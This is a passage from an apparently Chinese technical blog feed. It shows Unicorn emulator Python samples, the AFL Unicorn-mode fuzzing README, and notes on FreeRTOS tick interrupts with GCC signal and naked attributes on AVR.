class="built_in">print</span>(<span class="string">">>> EDX = 0x%x"</span> %r_edx)</span><br><span class="line"></span><br><span class="line"><span class="keyword">except</span> UcError <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"ERROR: %s"</span> % e)</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p>这个例子中运行了X86_CODE32字符串的机器代码,即 INC ecx; DEC edx,运行结束后,打印UC_X86_REG_ECX,UC_X86_REG_EDX中的内容,发现它们都加一了。</p><p>如下使用Python 运行它。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">$</span><span class="bash"> python test1.py</span></span><br><span class="line"></span><br><span class="line">Emulate i386 code</span><br><span class="line">Emulation done. Below is the CPU context</span><br><span class="line"><span class="meta">></span><span class="bash">>> ECX = 0x1235</span></span><br><span class="line"><span class="meta">></span><span class="bash">>> EDX = 0x788f</span></span><br></pre></td></tr></table></figure><p>Python 示例很直观,但为了以防万一,读者可以在下面找到<em>test1.py</em>每一行的解释。</p><ul><li>第2~3行:使用Unicorn前导入<strong>unicorn模块。</strong>此示例还使用了一些 X86 寄存器常量,因此还需要<strong>unicorn.x86_const 。</strong></li></ul><ul><li>第 6 行:我们要模拟的原始二进制代码。此示例中的代码采用十六进制模式,代表两条 X86 指令“ <em>INC ecx</em> ”和“ <em>DEC edx</em> ”。</li><li>第 9 行:我们将在其中模拟上面的代码的虚拟地址。</li><li><strong>第 14 行:使用Uc</strong>类初始化 Unicorn 。这个类接受 2 个参数:硬件架构和硬件模式。在此示例中,我们要为 X86 体系结构模拟 32 位代码。<em>作为回报,我们在mu</em>中有一个此类的变量。</li><li>第 17 行:在第9行中声明的地址处使用<strong>mem_map</strong>方法为此仿真映射 2MB 内存。在此过程中所有的 CPU 操作都应该只访问这块内存。此内存映射有默认权限 READ、WRITE 和 EXECUTE。</li><li>第20行:将要模拟的代码写入到我们上面刚刚映射的内存中。<strong>mem_write</strong>方法有两个参数:要写入的地址和要写入内存的代码。</li><li>第 23 ~ 24 行:使用方法<strong>reg_write设置*</strong>ECX<em>和</em>EDX*寄存器的值。</li><li>第 27 行:使用方法<strong>emu_start</strong>启动仿真。该 API 有 4 个参数:模拟代码的地址、模拟停止的地址(紧接在<em>X86_CODE32</em>的最后一个字节之后)、要模拟的时间和要模拟的指令数。如果我们像本例一样忽略最后两个参数,Unicorn 将在无限时间和无限数量的指令中模拟代码。</li><li>第 32 ~ 35 行:打印出寄存器<em>ECX</em>和<em>EDX</em>的值。<strong>我们使用函数reg_read</strong>读取寄存器的值。</li></ul><p>Unicorn 的python示例代码在 unicorn/bindings/python 文件夹</p><p>下面是 sample_arm64.py</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># Sample code for ARM64 of Unicorn. Nguyen Anh Quynh <[email protected]></span></span><br><span class="line"><span class="comment"># Python sample ported by Loi Anh Tuan <[email protected]></span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> __future__ <span class="keyword">import</span> print_function</span><br><span class="line"><span class="keyword">from</span> unicorn <span class="keyword">import</span> *</span><br><span class="line"><span class="keyword">from</span> unicorn.arm64_const <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># code to be emulated</span></span><br><span class="line">ARM64_CODE = <span class="string">b"\xab\x05\x00\xb8\xaf\x05\x40\x38"</span> <span class="comment"># str x11, [x13]; ldrb x15, [x13]</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># MSR code</span></span><br><span class="line">ARM64_MRS_CODE = <span class="string">b"\x62\xd0\x3b\xd5"</span> <span class="comment"># mrs x2, tpidrro_el0</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># memory address where emulation starts</span></span><br><span class="line">ADDRESS = <span class="number">0x10000</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># callback for tracing basic blocks</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">hook_block</span>(<span class="params">uc, address, size, user_data</span>):</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">">>> Tracing basic block at 0x%x, block size = 0x%x"</span> %(address, size))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># callback for tracing instructions</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">hook_code</span>(<span class="params">uc, address, size, user_data</span>):</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">">>> Tracing instruction at 0x%x, instruction size = 0x%x"</span> %(address, size))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># Test ARM64</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">test_arm64</span>():</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Emulate ARM64 code"</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># Initialize emulator in ARM mode</span></span><br><span class="line"> mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># map 2MB memory for this emulation</span></span><br><span class="line"> mu.mem_map(ADDRESS, <span class="number">2</span> * <span class="number">1024</span> * <span class="number">1024</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># write machine code to be emulated to memory</span></span><br><span class="line"> mu.mem_write(ADDRESS, ARM64_CODE)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># initialize machine registers</span></span><br><span class="line"> mu.reg_write(UC_ARM64_REG_X11, <span class="number">0x12345678</span>)</span><br><span class="line"> mu.reg_write(UC_ARM64_REG_X13, <span class="number">0x10008</span>)</span><br><span class="line"> mu.reg_write(UC_ARM64_REG_X15, <span class="number">0x33</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># tracing all basic blocks with customized callback</span></span><br><span class="line"> mu.hook_add(UC_HOOK_BLOCK, hook_block)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># tracing one instruction with customized callback</span></span><br><span class="line"> mu.hook_add(UC_HOOK_CODE, hook_code, begin=ADDRESS, end=ADDRESS)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># emulate machine code in infinite time</span></span><br><span class="line"> mu.emu_start(ADDRESS, ADDRESS + <span class="built_in">len</span>(ARM64_CODE))</span><br><span class="line"></span><br><span class="line"> <span class="comment"># now print out some registers</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">">>> Emulation done. Below is the CPU context"</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">">>> As little endian, X15 should be 0x78:"</span>)</span><br><span class="line"></span><br><span class="line"> x11 = mu.reg_read(UC_ARM64_REG_X11)</span><br><span class="line"> x13 = mu.reg_read(UC_ARM64_REG_X13)</span><br><span class="line"> x15 = mu.reg_read(UC_ARM64_REG_X15)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">">>> X15 = 0x%x"</span> %x15)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">except</span> UcError <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"ERROR: %s"</span> % e)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">test_arm64_read_sctlr</span>():</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Read SCTLR_EL1"</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># Initialize emulator in ARM mode</span></span><br><span class="line"> mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Read SCTLR_EL1</span></span><br><span class="line"> <span class="comment"># crn = 1;</span></span><br><span class="line"> <span class="comment"># crm = 0;</span></span><br><span class="line"> <span class="comment"># op0 = 3;</span></span><br><span class="line"> <span class="comment"># op1 = 0;</span></span><br><span class="line"> <span class="comment"># op2 = 0;</span></span><br><span class="line"> val = mu.reg_read(UC_ARM64_REG_CP_REG, (<span class="number">1</span>, <span class="number">0</span>, <span class="number">3</span>, <span class="number">0</span>, <span class="number">0</span>))</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">">>> SCTLR_EL1 = 0x%x"</span> % val)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">except</span> UcError <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"ERROR: %s"</span> % e)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">test_arm64_hook_mrs</span>():</span></span><br><span class="line"> <span class="function"><span class="keyword">def</span> <span class="title">_hook_mrs</span>(<span class="params">uc, reg, cp_reg, _</span>):</span></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f">>> Hook MRS instruction: reg = 0x<span class="subst">{reg:x}</span>(UC_ARM64_REG_X2) cp_reg = <span class="subst">{cp_reg}</span>"</span>)</span><br><span class="line"> uc.reg_write(reg, <span class="number">0x114514</span>)</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">">>> Write 0x114514 to X"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Skip MRS instruction</span></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">True</span></span><br><span class="line"></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"Test hook MRS instruction"</span>)</span><br><span class="line"> <span class="keyword">try</span>:</span><br><span class="line"> <span class="comment"># Initialize emulator in ARM mode</span></span><br><span class="line"> mu = Uc(UC_ARCH_ARM64, UC_MODE_ARM)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Map an area for code</span></span><br><span class="line"> mu.mem_map(<span class="number">0x1000</span>, <span class="number">0x1000</span>)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Write code</span></span><br><span class="line"> mu.mem_write(<span class="number">0x1000</span>, ARM64_MRS_CODE)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Hook MRS instruction</span></span><br><span class="line"> mu.hook_add(UC_HOOK_INSN, _hook_mrs, <span class="literal">None</span>, <span class="number">1</span>, <span class="number">0</span>, UC_ARM64_INS_MRS)</span><br><span class="line"></span><br><span class="line"> <span class="comment"># Start emulation</span></span><br><span class="line"> mu.emu_start(<span class="number">0x1000</span>, <span class="number">0x1000</span> + <span class="built_in">len</span>(ARM64_MRS_CODE))</span><br><span class="line"></span><br><span class="line"> <span class="built_in">print</span>(<span class="string">f">>> X2 = <span class="subst">{mu.reg_read(UC_ARM64_REG_X2):x}</span>"</span>)</span><br><span class="line"></span><br><span class="line"> <span class="keyword">except</span> UcError <span class="keyword">as</span> e:</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"ERROR: %s"</span> % e)</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">'__main__'</span>:</span><br><span class="line"> test_arm64()</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"="</span> * <span class="number">26</span>)</span><br><span class="line"> test_arm64_read_sctlr()</span><br><span class="line"> <span class="built_in">print</span>(<span class="string">"="</span> * <span class="number">26</span>)</span><br><span class="line"> test_arm64_hook_mrs()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>Unicorn 的中文C语言API介绍在此处:</p><p><a href="https://github.com/kabeor/Unicorn-Engine-Documentation/releases">https://github.com/kabeor/Unicorn-Engine-Documentation/releases</a></p><blockquote><p>=========================</p><h1 id="Unicorn-based-binary-only-instrumentation-for-afl-fuzz"><a href="#Unicorn-based-binary-only-instrumentation-for-afl-fuzz" class="headerlink" title="Unicorn-based binary-only instrumentation for afl-fuzz"></a>Unicorn-based binary-only instrumentation for afl-fuzz</h1><p> (See ../docs/README for the general AFL instruction manual.)</p><p>1) Introduction</p><hr><p>The code in this directory allows you to build a standalone feature that<br>leverages the Unicorn Engine and allows callers to obtain instrumentation<br>output for black-box, closed-source binary code snippets. This mechanism<br>can be then used by afl-fuzz to stress-test targets that couldn’t be built<br>with afl-gcc or used in QEMU mode, or with other extensions such as<br>TriforceAFL.</p><p>There is a significant performance penalty compared to native AFL,<br>but at least we’re able to use AFL on these binaries, right?</p><p>The idea and much of the implementation comes from Nathan Voss <a href="mailto:njvoss299@gmail.com">njvoss299@gmail.com</a>.</p><p>2) How to use</p><hr><p><strong><em> Building AFL’s Unicorn Mode </em></strong></p><p>First, build afl as usual. This is pretty simple:</p><p> $ cd <afl_root><br> $ make</afl_root></p><p>Once that completes successfully you need to build and add in the Unicorn Mode<br>features:</p><p> $ cd unicorn_mode<br> $ ./build_unicorn_support.sh</p><p>NOTE: This script downloads the most recent Unicorn Engine stable release<br>from the Unicorn github page. If you are offline, you’ll need to hack up<br>this script a little bit and supply your own copy of Unicorn’s latest stable<br>release. It’s not very hard, just check out the beginning of the<br>build_unicorn_support.sh script and adjust as necessary.</p><p>Building Unicorn will take a little bit (~5-10 minutes). Once it completes<br>it automatically compiles a sample application and verify that it works.</p><p><strong><em> Fuzzing with Unicorn Mode </em></strong></p><p>To really use unicorn-mode effectively you need to prepare the following:</p><pre><code>* Relevant binary code to be fuzzed* Knowledge of the memory map and good starting state* Folder containing sample inputs to start fuzzing with - Same ideas as any other AFL inputs - Quality/speed of results will depend greatly on quality of starting samples - See AFL's guidance on how to create a sample corpus* Unicorn-based test harness which: - Adds memory map regions - Loads binary code into memory - Emulates at least one instruction* - Yeah, this is lame. See 'Gotchas' section below for more info - Loads and verifies data to fuzz from a command-line specified file - AFL will provide mutated inputs by changing the file passed to the test harness - Presumably the data to be fuzzed is at a fixed buffer address - If input constraints (size, invalid bytes, etc.) are known they should be checked after the file is loaded. If a constraint fails, just exit the test harness. AFL will treat the input as 'uninteresting' and move on. - Sets up registers and memory state for beginning of test - Emulates the interested code from beginning to end - If a crash is detected, the test harness must 'crash' by throwing a signal (SIGSEGV, SIGKILL, SIGABORT, etc.)</code></pre><p>Once you have all those things ready to go you just need to run afl-fuzz in<br>‘unicorn-mode’ by passing in the ‘-U’ flag:</p><pre><code>$ afl-fuzz -U -m none -i /path/to/inputs -o /path/to/results -- ./test_harness @@</code></pre><p>The normal afl-fuzz command line format applies to everything here. Refer to<br>AFL’s main documentation for more info about how to use afl-fuzz effectively.</p><p>For a much clearer vision of what all of this looks like, please refer to the<br>sample provided in the ‘unicorn_mode/samples’ directory. There is also a blog<br>post that goes over the basics at:</p><p><a href="https://medium.com/@njvoss299/afl-unicorn-fuzzing-arbitrary-binary-code-563ca28936bf">https://medium.com/@njvoss299/afl-unicorn-fuzzing-arbitrary-binary-code-563ca28936bf</a></p><p>The ‘helper_scripts’ directory also contains several helper scripts that allow you<br>to dump context from a running process, load it, and hook heap allocations. For details<br>on how to use this check out the follow-up blog post to the one linked above.</p><p>3) Gotchas, feedback, bugs</p><hr><p>To make sure that AFL’s fork server starts up correctly the Unicorn test<br>harness script must emulate at least one instruction before loading the<br>data that will be fuzzed from the input file. It doesn’t matter what the<br>instruction is, nor if it is valid. This is an artifact of how the fork-server<br>is started and could likely be fixed with some clever re-arranging of the<br>patches applied to Unicorn.</p><p>Running the build script builds Unicorn and its python bindings and installs<br>them on your system. This installation will supersede any existing Unicorn<br>installation with the patched afl-unicorn version.</p><p>Refer to the unicorn_mode/samples/arm_example/arm_tester.c for an example<br>of how to do this properly! If you don’t get this right, AFL will not<br>load any mutated inputs and your fuzzing will be useless!</p></blockquote>]]></content>
<summary type="html"><h1 id="AFL-Unicorn模式学习笔记"><a href="#AFL-Unicorn模式学习笔记" class="headerlink" title="AFL-Unicorn模式学习笔记"></a>AFL-Unicorn模式学习笔记</h1><h2 id="AFL-选</summary>
<category term="AFL" scheme="http://example.com/tags/AFL/"/>
<category term="Fuzz" scheme="http://example.com/tags/Fuzz/"/>
</entry>
<entry>
<title>RTOS学习-RTOS构建</title>
<link href="http://example.com/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/"/>
<id>http://example.com/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/</id>
<published>2022-12-14T13:08:15.000Z</published>
<updated>2022-12-14T13:10:54.054Z</updated>
<content type="html"><![CDATA[<h1 id="RTOS构建"><a href="#RTOS构建" class="headerlink" title="RTOS构建"></a>RTOS构建</h1><h2 id="构建块-Building-Blocks"><a href="#构建块-Building-Blocks" class="headerlink" title="构建块 Building Blocks"></a>构建块 Building Blocks</h2><h3 id="The-RTOS-Tick"><a href="#The-RTOS-Tick" class="headerlink" title="The RTOS Tick"></a>The RTOS Tick</h3><p>休眠时,RTOS 任务将指定一个时间,之后它需要“醒来”。<strong>阻塞时,RTOS 任务可以指定它希望等待的最长时间</strong>。FreeRTOS 实时内核使用<strong>Tick</strong>计数变量测量时间。定时器中断(RTOS<strong>tick中断</strong>)以严格的时间精度增加tick计数 - 允许实时内核测量时间以达到所选定时器中断频率的分辨率。每次Tick计数增加时,实时内核必须检查现在是否到了解除阻塞或唤醒任务的时间。在tick ISR 期间唤醒或解除阻塞的任务可能具有比被中断任务更高的优先级。如果是这种情况,tick ISR 应该返回到新唤醒/未阻塞的任务——有效地中断一个任务但返回到另一个任务。如下图所示:<img src="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/TickISR.gif" class="lazyload placeholder" data-srcset="/2022/12/14/RTOS%E5%AD%A6%E4%B9%A0-RTOS%E6%9E%84%E5%BB%BA/TickISR.gif" srcset="https://img2.baidu.com/it/u=2037979560,2772131037&fm=26&fmt=auto&gp=0.jpg" alt="勾选ISR.gif"></p><p>参考上图中的数字:</p><ul><li>在 (1) 处,RTOS idle任务正在执行。</li><li>在 (2) 处,RTOS tick发生,并且控制转移到tick ISR (3)。</li><li>RTOS tick ISR 使 vControlTask 准备好运行,并且由于 vControlTask 的优先级高于 RTOS idle任务,因此将上下文切换到 vControlTask 的上下文。</li><li>由于执行上下文现在是 vControlTask 的执行上下文,退出 ISR (4) 将控制返回给 vControlTask,vControlTask 开始执行 (5)。</li></ul><p>以这种方式发生的上下文切换被称为<strong>抢占式</strong>,因为被中断的任务被抢占而不会自行挂起。</p><p>FreeRTOS 的 AVR 端口使用定时器 1 上的比较匹配事件来生成 RTOS tick。下面的内容描述了如何使用 WinAVR 开发工具实现 RTOS tick ISR。</p><h3 id="GCC-Signal-Attribute"><a href="#GCC-Signal-Attribute" class="headerlink" title="GCC Signal Attribute"></a>GCC Signal Attribute</h3><p><a href="http://gcc.gnu.org/">GCC 开发工具</a>允许用 C 编写中断。可以使用以下语法编写 AVR 定时器 1 外设上的比较匹配事件。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">SIG_OUTPUT_COMPARE1A</span><span class="params">( <span class="keyword">void</span> )</span> __<span class="title">attribute__</span> <span class="params">( ( signal ) )</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">SIG_OUTPUT_COMPARE1A</span><span class="params">( <span class="keyword">void</span> )</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="comment">/* ISR C code for RTOS tick. */</span></span><br><span class="line"> vPortYieldFromTick();</span><br><span class="line">}</span><br><span class="line"> </span><br></pre></td></tr></table></figure><p>函数原型上的<em>“<strong>attribute</strong> ( ( signal ) )”</em>指令<strong>通知编译器该函数是一个 ISR</strong>,并导致编译器输出发生两个重要变化。</p><ol><li><strong>‘signal’ 属性确保在 ISR 期间被修改的每个处理器寄存器在 ISR 退出时恢复到其原始值。这是必需的</strong>,因为编译器无法对何时执行中断做出任何假设,因此无法优化哪些处理器寄存器需要保存,哪些不需要。</li><li><strong>‘signal’属性还强制使用“从中断返回”指令 (RETI) 来代替原本会使用的“返回”指令 (RET)</strong>。AVR 微控制器在进入 ISR 时禁用中断,并且需要 RETI 指令在退出时重新启用它们。</li></ol><p>编译器生成的代码:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br></pre></td><td class="code"><pre><span class="line">;void SIG_OUTPUT_COMPARE1A( void )</span><br><span class="line">;{</span><br><span class="line"> ; ---------------------------------------</span><br><span class="line"> ; CODE GENERATED BY THE COMPILER TO SAVE</span><br><span class="line"> ; THE REGISTERS THAT GET ALTERED BY THE</span><br><span class="line"> ; APPLICATION CODE DURING THE ISR.</span><br><span class="line"> ; 代码由编译器生成,用于保存由于ISR中的应用程序代码而被修改的寄存器的内容</span><br><span class="line"></span><br><span class="line"> PUSH R1</span><br><span class="line"> PUSH R0</span><br><span class="line"> IN R0,0x3F</span><br><span class="line"> PUSH R0</span><br><span class="line"> CLR R1</span><br><span class="line"> PUSH R18</span><br><span class="line"> PUSH R19</span><br><span class="line"> PUSH R20</span><br><span class="line"> PUSH R21</span><br><span class="line"> PUSH R22</span><br><span class="line"> PUSH R23</span><br><span class="line"> PUSH R24</span><br><span class="line"> PUSH R25</span><br><span class="line"> PUSH R26</span><br><span class="line"> PUSH R27</span><br><span class="line"> PUSH R30</span><br><span class="line"> PUSH R31</span><br><span class="line"> ; ---------------------------------------</span><br><span class="line"></span><br><span class="line"> ; CODE GENERATED BY THE COMPILER FROM THE</span><br><span class="line"> ; APPLICATION C CODE.</span><br><span class="line"> ; 代码由编译器生成,从应用程序的C代码编译而来</span><br><span class="line"></span><br><span class="line"> ;vPortYieldFromTick();</span><br><span class="line"> CALL 0x0000029B ;Call subroutine</span><br><span class="line">;}</span><br><span class="line"> ; ---------------------------------------</span><br><span class="line"></span><br><span class="line"> ; CODE GENERATED BY THE COMPILER TO</span><br><span class="line"> ; RESTORE THE REGISTERS PREVIOUSLY</span><br><span class="line"> ; SAVED.</span><br><span class="line"> ; 代码由编译器生成,用来恢复之前保存的寄存器</span><br><span class="line"></span><br><span class="line"> POP R31</span><br><span class="line"> POP R30</span><br><span class="line"> POP R27</span><br><span class="line"> POP R26</span><br><span class="line"> POP R25</span><br><span class="line"> POP R24</span><br><span class="line"> POP R23</span><br><span class="line"> POP R22</span><br><span class="line"> POP R21</span><br><span class="line"> POP R20</span><br><span class="line"> POP R19</span><br><span class="line"> POP R18</span><br><span class="line"> POP R0</span><br><span class="line"> OUT 0x3F,R0</span><br><span class="line"> POP R0</span><br><span class="line"> POP R1</span><br><span class="line"></span><br><span class="line"> RETI</span><br><span class="line"> ; ---------------------------------------</span><br><span class="line"> </span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="GCC-Naked-Attribute"><a href="#GCC-Naked-Attribute" class="headerlink" title="GCC Naked Attribute"></a>GCC Naked Attribute</h3><p>上一节展示了如何使用“信号”属性在 C 中编写 ISR,以及这如何导致部分执行上下文被自动保存(仅保存被 ISR 修改的处理器寄存器)。然而,执行上下文切换需要保存整个上下文。</p><p>应用程序代码可以在进入 ISR 时显式保存所有处理器寄存器,但这样做会导致某些处理器寄存器被保存两次 - 一次由编译器生成的代码保存,然后再次由应用程序代码保存。这是不可取的,可以通过在“信号”属性之外 使用<em>“裸”属性来避免。</em></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">SIG_OUTPUT_COMPARE1A</span><span class="params">( <span class="keyword">void</span> )</span> __<span class="title">attribute__</span> <span class="params">( ( signal, naked ) )</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">SIG_OUTPUT_COMPARE1A</span><span class="params">( <span class="keyword">void</span> )</span></span></span><br><span class="line"><span class="function"></span>{</span><br><span class="line"> <span class="comment">/* ISR C code for RTOS tick. */</span></span><br><span class="line"> vPortYieldFromTick();</span><br><span class="line">}</span><br><span class="line"> </span><br></pre></td></tr></table></figure><p><strong>‘naked’ 属性阻止编译器生成任何函数入口或出口代码</strong>。现在编译代码会产生更简单的输出:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">;<span class="function"><span class="keyword">void</span> <span class="title">SIG_OUTPUT_COMPARE1A</span><span class="params">( <span class="keyword">void</span> )</span></span></span><br><span class="line"><span class="function"></span>;{</span><br><span class="line"> ; ---------------------------------------</span><br><span class="line"> ; NO COMPILER GENERATED CODE HERE TO SAVE</span><br><span class="line"> ; THE REGISTERS THAT GET ALTERED BY THE</span><br><span class="line"> ; ISR.</span><br><span class="line"> ; 这里[没有]编译器生成的,用于保存由于ISR中的应用程序代码而被修改的寄存器的内容</span><br><span class="line"> ; ---------------------------------------</span><br><span class="line"></span><br><span class="line"> ; CODE GENERATED BY THE COMPILER FROM THE</span><br><span class="line"> ; APPLICATION C CODE.</span><br><span class="line"> ; 